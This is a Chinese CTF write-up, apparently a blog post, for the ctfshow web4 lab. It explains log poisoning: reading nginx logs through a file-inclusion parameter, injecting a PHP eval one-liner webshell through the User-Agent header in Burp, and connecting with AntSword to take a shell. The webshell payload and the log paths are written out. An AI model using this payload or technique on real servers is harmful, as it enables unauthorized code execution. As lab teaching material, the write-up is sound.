日志注入上传 + 蚁剑

思路基本通用    复现靶场:ctfshow-web4 

1、开靶场
修改成http协议

靶场是https开头 记得给请求头删掉s即可【后面几个图带https 我就不改了 其实是http】

2、判断中间件类型 考虑对应的log文件

【中间件 ---- 对应的文件及路径】

nginx     ---- /var/log/nginx/access.log      或者     /var/log/nginx/error.log   
apache  ---- /var/log/apache/access.log 

这里看到是nginx中间件 就准备去访问对应的文件 一个access和error 都试一试

3、尝试读取日志信息
(1)error.log文件     

?url=/var/log/nginx/error.log  

失败  没读到日志信息 

(2)access.log文件

?url=/var/log/nginx/access.log

4、抓包进bp 给UA加一句话木马再次上传

<?php eval($_POST['-5'])?>

 

放行后看页面:

明显比第一次要多了日志记录 说明加马成功(日志只做记录 不显示马内容)

5、蚁剑拿shell

 到这一步还是会莫名其妙小紧张哈哈 因为学upload的时候 看老哥们用的很熟练 就想跟着一起做

不过还是不知道怎么拿shell 每次都是撞运气 TuT

现在进行一个比较细致的使用步骤

**注意**:要和bp配合 bp抓到请求 先放行后 再进行操作 

【如果是蚁剑报错 timeout:10000 那么就马上考虑 是不是bp抓到了包 没放过去 导致蚁剑抓不到包提示超时】

(1)新建连接

由于是http 不需要证书

https则需要 https的话 bp抓包也需要证书

(2)测试是否成功

点击添加:

(3)进入文件管理 

6、关代理 提交flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值